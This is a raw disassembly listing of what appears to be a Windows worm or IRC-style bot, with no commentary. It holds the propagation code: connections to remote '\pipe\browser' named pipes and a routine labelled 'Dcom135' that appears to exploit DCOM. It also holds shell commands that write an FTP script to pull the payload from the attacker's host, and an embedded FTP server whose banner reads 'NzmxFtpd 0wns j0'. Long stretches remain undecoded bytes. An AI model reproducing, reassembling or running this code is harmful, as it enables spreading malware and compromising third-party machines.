8Ch ; Œ db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 24h ; $ db 3Eh ; > db 1 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 28h ; ( db 86h ; † db 42h ; B db 0 db 56h ; V db 50h ; P db 0E8h ; è db 9Ch ; œ db 2Eh ; . db 1 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 93h ; “ db 29h ; ) db 1 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 0DCh ; Ü db 6Eh ; n db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 80h ; € db 0E0h ; à db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_4049C7 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_4049C7: ; CODE XREF: ___:004049C0j push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 26507E6h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_404A0B loc_404A04: ; CODE XREF: ___:00404AE3j ; ___:00404CB9j ... xor al, al jmp loc_404E4F ; --------------------------------------------------------------------------- loc_404A0B: ; CODE XREF: ___:00404A02j push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_417330 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_428C34 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_417390 push 10h lea eax, [ebp-84h] push offset dword_428C20 push eax mov dword ptr [ebp-88h], 3 call sub_417390 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] call near ptr 2640000h nop test eax, eax jnz short loc_404AE8 loc_404ADA: ; CODE XREF: ___:00404BB4j push dword ptr [ebp-4] nop call near ptr 2631A0Bh jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404AE8: ; CODE XREF: ___:00404AD8j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 263108Bh push ebx call sub_4186B1 push eax call sub_417302 push 14h lea eax, [ebp-70h] push 41h push eax call sub_417330 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_417330 add esp, 20h call sub_41730C mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_428BC8[esi], bl jz short loc_404B5F push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_436F00 jmp short loc_404B72 ; --------------------------------------------------------------------------- loc_404B5F: ; CODE XREF: ___:00404B4Bj push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_428C17+1) loc_404B72: ; CODE XREF: ___:00404B5Dj lea eax, [ebp-20h] push eax call sub_417390 add esp, 0Ch call sub_41730C mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41730C cdq idiv edi mov eax, dword_428BBC[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_417B89 mov edi, eax pop ecx cmp edi, ebx jz loc_404ADA mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_417330 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_417330 mov eax, dword_428BC4[esi] push 7 add eax, edi push offset dword_428BB0 push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_428A50 push eax call sub_417390 mov eax, dword_428BC0[esi] add esp, 30h cmp byte_428BC8[esi], bl mov [ebp+0Ch], eax jz short loc_404C6B push 4 add eax, edi push offset dword_436EF8 push eax call sub_417390 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_428BE0 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_417390 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_417390 add esp, 30h jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C6B: ; CODE XREF: ___:00404C1Cj add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_428BE0 loc_404C7C: ; CODE XREF: ___:00404C91j push 4 push esi push dword ptr [ebp+0Ch] call sub_417390 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_404C7C loc_404C93: ; CODE XREF: ___:00404C69j mov eax, [ebp+8] add eax, 42h push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_404CBE push dword ptr [ebp-4] nop call near ptr 2631A0Bh push edi call sub_417C3B pop ecx jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404CBE: ; CODE XREF: ___:00404CA7j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_417330 lea eax, [ebp-70h] push 14h push eax push esi call sub_417390 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_424294 fstp qword ptr [esp] call sub_417DEB call sub_417DC4 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_417390 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_404D2B loc_404D23: ; CODE XREF: ___:00404D26j inc eax test al, 3 jnz short loc_404D23 mov [ebp+0Ch], eax loc_404D2B: ; CODE XREF: ___:00404D21j lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_417390 add dword ptr [ebp+0Ch], 1Ch push edi call sub_417C3B push 18h lea eax, [ebp-48h] push ebx push eax call sub_417330 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_417330 add esp, 28h push ebx push ebx push 1 push ebx call near ptr 2650BB5h nop mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_404D98: ; CODE XREF: ___:00404E22j cmp dword ptr [ebp-0Ch], 2 jge loc_404E2D push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_404861 add esp, 2Ch test al, al jz short loc_404E2A cmp [ebp-4Ch], ebx jz short loc_404E1C lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 263108Bh test eax, eax jnz short loc_404E03 nop call near ptr 2650B3Dh cmp eax, 3E5h jnz loc_404A04 loc_404E03: ; CODE XREF: ___:00404DF0j push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2650A74h cmp eax, 102h jnz short loc_404E1C mov byte ptr [ebp+0Bh], 1 loc_404E1C: ; CODE XREF: ___:00404DCFj ; ___:00404E16j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_404D98 jmp short loc_404E2D ; --------------------------------------------------------------------------- loc_404E2A: ; CODE XREF: ___:00404DCAj mov esi, [ebp-8] loc_404E2D: ; CODE XREF: ___:00404D9Cj ; ___:00404E28j push dword ptr [ebp-4] mov edi, dword_424078 call edi push esi call sub_417C3B cmp [ebp-4Ch], ebx pop ecx jz short loc_404E49 push dword ptr [ebp-4Ch] call edi loc_404E49: ; CODE XREF: ___:00404E42j cmp [ebp+0Bh], bl setnz al loc_404E4F: ; CODE XREF: ___:00404A06j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0C2h ;  db 24h ; $ db 1 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 90h ; db 0E8h ; è db 77h ; w db 0C4h ; Ä db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 0E8h ; è db 0B7h ; · db 0C8h ; È db 6Ah ; j db 71h ; q db 90h ; db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 90h ; db 0E8h ; è db 83h ; ƒ db 0EDh ; í db 6Ah ; j db 71h ; q db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 0E8h ; è db 0ABh ; « db 0EFh ; ï db 6Ah ; j db 71h ; q db 90h ; db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 4 db 42h ; B db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 74h ; t db 0F6h ; ö db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0Ch db 6Fh ; o db 43h ; C db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0FCh ; ü db 5Fh ; _ db 0 db 0 db 59h ; Y db 50h ; P db 68h ; h db 0DCh ; Ü db 89h ; ‰ db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 2Eh ; . db 29h ; ) db 1 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 0A3h ; £ db 2Bh ; + db 1 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 0D7h ; × db 0CBh ; Ë db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 0E8h ; è db 34h ; 4 db 0CBh ; Ë db 6Ah ; j db 71h ; q db 90h ; db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; à dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h dd 0E8000007h, 220C00Bh, 0FB834390h, 33B87202h, 5B5E5FC0h dd 58016AC3h db 0EBh, 0F7h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F9A proc near ; CODE XREF: ___:00405119p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call near ptr 71AB12F8h nop push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_405068 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_405068 mov edi, 400h push esi mov esi, dword_424204 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42F674 push eax push eax push dword_436F0C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40506C loc_405068: ; CODE XREF: sub_404F9A+50j ; sub_404F9A+62j xor eax, eax jmp short loc_405083 ; --------------------------------------------------------------------------- loc_40506C: ; CODE XREF: sub_404F9A+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_405083: ; CODE XREF: sub_404F9A+D0j pop edi pop esi pop ebx leave retn sub_404F9A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+0Ch] push edi push eax mov word ptr [ebp-10h], 2 call dword_43ADD8 push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call dword_43AD98 push 6 push 1 push 2 mov [ebp-0Eh], ax call near ptr 71AB3C22h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4050FA lea eax, [ebp-10h] push 10h push eax push esi call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_4050DB push esi jmp short loc_4050F4 ; --------------------------------------------------------------------------- loc_4050DB: ; CODE XREF: ___:004050D6j push 0 push 1213h push offset dword_428C60 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_4050FE loc_4050F4: ; CODE XREF: ___:004050D9j call near ptr 71AB1A6Dh nop loc_4050FA: ; CODE XREF: ___:004050C4j xor eax, eax jmp short loc_405140 ; --------------------------------------------------------------------------- loc_4050FE: ; CODE XREF: ___:004050F2j call near ptr 71AB1A6Dh nop push 216Bh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_404F9A add esp, 0C0h test eax, eax jz short loc_40513D mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_40513D: ; CODE XREF: ___:00405126j push 1 pop eax loc_405140: ; CODE XREF: ___:004050FCj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405144 proc near ; CODE XREF: ___:00405340p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43ADD8 mov [ebp+var_C], eax mov ax, word_42A040 push eax call dword_43AD98 push edi push 1 push 2 mov [ebp+var_E], ax call dword_43AE18 mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40525B lea eax, [ebp+var_10] push 10h push eax push esi call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_40525B mov ebx, 400h push edi lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43ADB0 push dword_436F0C push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_40525B push 1F4h call near ptr 2610F93h nop push offset byte_42F674 push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_40525F loc_40525B: ; CODE XREF: sub_405144+51j ; sub_405144+67j ... xor al, al jmp short loc_405279 ; --------------------------------------------------------------------------- loc_40525F: ; CODE XREF: sub_405144+115j push 0 lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43ADB0 push esi call dword_43AE30 mov al, 1 loc_405279: ; CODE XREF: sub_405144+119j pop edi pop esi pop ebx leave retn sub_405144 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax nop call near ptr 71AB2BBFh mov esi, eax test esi, esi jnz short loc_4052A8 lea eax, [ebp+0Ch] push eax nop call near ptr 71AB12F8h mov ebx, eax jmp short loc_4052AE ; --------------------------------------------------------------------------- loc_4052A8: ; CODE XREF: ___:00405298j mov ebx, [ebp+0C0h] loc_4052AE: ; CODE XREF: ___:004052A6j push 11h push 2 push 2 nop call near ptr 71AB3C22h test esi, esi mov edi, eax jz short loc_4052D8 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_417390 add esp, 0Ch jmp short loc_4052DB ; --------------------------------------------------------------------------- loc_4052D8: ; CODE XREF: ___:004052BEj mov [ebp-0Ch], ebx loc_4052DB: ; CODE XREF: ___:004052D6j test esi, esi jz short loc_4052E9 mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_4052EF ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: ___:004052DDj mov word ptr [ebp-10h], 2 loc_4052EF: ; CODE XREF: ___:004052E7j push 599h call near ptr 71AB1746h nop mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi nop call near ptr 71AB3E5Dh test eax, eax jnz loc_4053BE push eax push 1C9h push offset loc_429E74 push edi call near ptr 71AB1AF4h nop push 3E8h call near ptr 2610F93h nop sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_405144 add esp, 0BCh test al, al jz short loc_405354 push 1 pop eax jmp short loc_4053D0 ; --------------------------------------------------------------------------- loc_405354: ; CODE XREF: ___:0040534Dj lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset unk_42A0B0 lea eax, [ebp-210h] push 200h push eax call sub_41782A push 0 lea eax, [ebp-210h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40D679 lea eax, [ebp-210h] push eax call sub_40BF6D mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] jmp short loc_4053CE ; --------------------------------------------------------------------------- loc_4053BE: ; CODE XREF: ___:0040530Dj push 1 push edi nop call near ptr 71AB8629h push edi nop call near ptr 71AB1A6Dh loc_4053CE: ; CODE XREF: ___:004053BCj xor eax, eax loc_4053D0: ; CODE XREF: ___:00405352j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053D5 proc near ; DATA XREF: sub_407252+226o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi nop call near ptr 71AB41DAh push edi call sub_4186B1 push eax call sub_417302 push 0FEB0h push 406h call sub_415450 add esp, 10h mov dword_436F0C, eax push edi push ebx push 2 nop call near ptr 71AB3C22h mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi nop call near ptr 71AB3F8Dh lea eax, [ebp+var_18] push eax push 8004667Eh push esi nop call near ptr 71AB155Ah mov ax, word ptr dword_436F0C mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi nop call near ptr 71AB1746h mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi nop call near ptr 71AB3ECEh test eax, eax jge short loc_4054AA mov eax, ebx jmp loc_4059D4 ; --------------------------------------------------------------------------- loc_4054AA: ; CODE XREF: sub_4053D5+CCj push 0Ah push esi call near ptr 71AB5DE2h nop mov [ebp+var_228], ebx mov ebx, dword_424208 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_4054C8: ; CODE XREF: sub_4053D5+12Cj ; sub_4053D5+5F7j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call near ptr 71AB1890h nop cmp eax, 0FFFFFFFFh jz loc_4059D1 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_4054C8 loc_405503: ; CODE XREF: sub_4053D5+5F1j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_417330 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_422A46 ; --------------------------------------------------------------------------- db 85h dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh, 10DC45h dd 8D500000h, 0FFFDC885h, 75FF50FFh, 3133E8F4h, 8390716Bh dd 840FFFF8h, 45Bh, 0B539C933h, 0FFFFFDD8h, 958D1676h dd 0FFFFFDDCh ; --------------------------------------------------------------------------- loc_405574: ; CODE XREF: sub_4053D5+1ADj cmp [edx], eax jz short loc_405584 inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_405574 loc_405584: ; CODE XREF: sub_4053D5+1A1j cmp ecx, [ebp+var_228] jnz short loc_4055A2 cmp [ebp+var_228], 40h jnb short loc_4055A2 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4055A2: ; CODE XREF: sub_4053D5+1B5j ; sub_4053D5+1BEj cmp eax, [ebp+var_4] jle short loc_4055AA mov [ebp+var_4], eax loc_4055AA: ; CODE XREF: sub_4053D5+1D0j push esi push 15h push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4059BF ; --------------------------------------------------------------------------- dw 8D56h ; --------------------------------------------------------------------------- test [ebp+edi*8+var_4+3], esp jmp fword ptr [edx+64h] ; --------------------------------------------------------------------------- db 50h dd 0C5E89057h, 85716B00h, 8B527FC0h, 0FFFDD895h, 3BC933FFh dd 8D3A76D6h, 0FFFDDC85h db 0FFh ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_4053D5+216j cmp [eax], edi jz short loc_4055EF inc ecx add eax, 4 cmp ecx, edx jb short loc_4055E1 jmp short loc_405615 ; --------------------------------------------------------------------------- loc_4055EF: ; CODE XREF: sub_4053D5+20Ej dec edx cmp ecx, edx jnb short loc_40560F lea eax, [ebp+ecx*4+var_224] loc_4055FB: ; CODE XREF: sub_4053D5+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_4055FB loc_40560F: ; CODE XREF: sub_4053D5+21Dj dec [ebp+var_228] loc_405615: ; CODE XREF: sub_4053D5+218j push edi call near ptr 71AB1A6Dh nop jmp loc_4059BF ; --------------------------------------------------------------------------- lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS_1 ; "%s %s" push eax call sub_418A52 lea eax, [ebp+var_AC] push offset aUser_1 ; "USER" push eax call sub_4176D0 add esp, 18h test eax, eax jnz short loc_405665 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405665: ; CODE XREF: sub_4053D5+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405689 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405689: ; CODE XREF: sub_4053D5+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056AD push esi push 0Dh push offset a215Nzmxftpd ; "215 NzmxFtpd\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056AD: ; CODE XREF: sub_4053D5+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056D1 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056D1: ; CODE XREF: sub_4053D5+2EDj lea eax, [ebp+var_AC] push offset off_42A2D0 push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056F5 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056F5: ; CODE XREF: sub_4053D5+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405730: ; CODE XREF: sub_4053D5+335j ; sub_4053D5+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_40576B: ; CODE XREF: sub_4053D5+370j ; sub_4053D5+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057B9 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, 